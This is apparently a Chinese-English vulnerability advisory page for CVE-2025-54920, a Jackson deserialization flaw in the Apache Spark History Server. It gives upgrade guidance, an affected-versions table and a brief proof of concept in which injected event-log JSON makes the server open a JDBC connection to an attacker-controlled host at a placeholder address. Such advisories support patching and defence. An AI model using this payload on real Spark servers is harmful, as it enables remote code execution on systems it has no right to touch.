CVE-2025-54920— Apache Spark 代码问题漏洞
一分钟漏洞结论
影响对象
Apache Software Foundation Apache Spark
利用判断
利用概率较高，应尽快评估
建议动作
优先检查厂商安全公告和参考链接中的修复版本；无法立即升级时，限制受影响服务暴露并加强监测。
Apache Spark是美国阿帕奇（Apache）基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。 Apache Spark 3.5.7之前版本和4.0.1之前版本存在代码问题漏洞，该漏洞源于Spark History Web UI对事件日志数据的Jackson反序列化过于宽松，可能导致攻击者通过注入恶意JSON有效载荷在主机上执行任意代码。
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一、 漏洞 CVE-2025-54920 基础信息
漏洞信息
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Vulnerability Title
Apache Spark: Spark History Server Code Execution Vulnerability
来源: CVE Program / CVE List V5
Vulnerability Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).
2. Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection",
"uri": "jdbc:hive2://<IP>:<PORT>/",
"info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>"
}
}
3. Start the Spark History Server with logs pointing to the modified directory.
4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
来源: CVE Program / CVE List V5
CVSS Information
N/A
来源: CVE Program / CVE List V5
Vulnerability Type
可信数据的反序列化
来源: CVE Program / CVE List V5
Vulnerability Title
Apache Spark 代码问题漏洞
来源: 中国国家信息安全漏洞库 CNNVD
Vulnerability Description
Apache Spark是美国阿帕奇（Apache）基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。 Apache Spark 3.5.7之前版本和4.0.1之前版本存在代码问题漏洞，该漏洞源于Spark History Web UI对事件日志数据的Jackson反序列化过于宽松，可能导致攻击者通过注入恶意JSON有效载荷在主机上执行任意代码。
来源: 中国国家信息安全漏洞库 CNNVD
CVSS Information
N/A
来源: 中国国家信息安全漏洞库 CNNVD
Vulnerability Type
N/A
来源: 中国国家信息安全漏洞库 CNNVD
受影响产品
| 厂商 | 产品 | 影响版本 | CPE | 订阅 |
|---|---|---|---|---|
| Apache Software Foundation | Apache Spark | 0 ~ 3.5.7 | - |
|
二、漏洞 CVE-2025-54920 的公开POC
| # | POC 描述 | 源链接 | 神龙链接 |
|---|
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CVE-2025-54920 补丁与修复 (2)
CVE-2025-54920 邮件列表归档 (1)
CVE-2025-54920 其他参考 (1)
IV. Related Vulnerabilities
Same vendor: Apache Software Foundation
V. Comments for CVE-2025-54920
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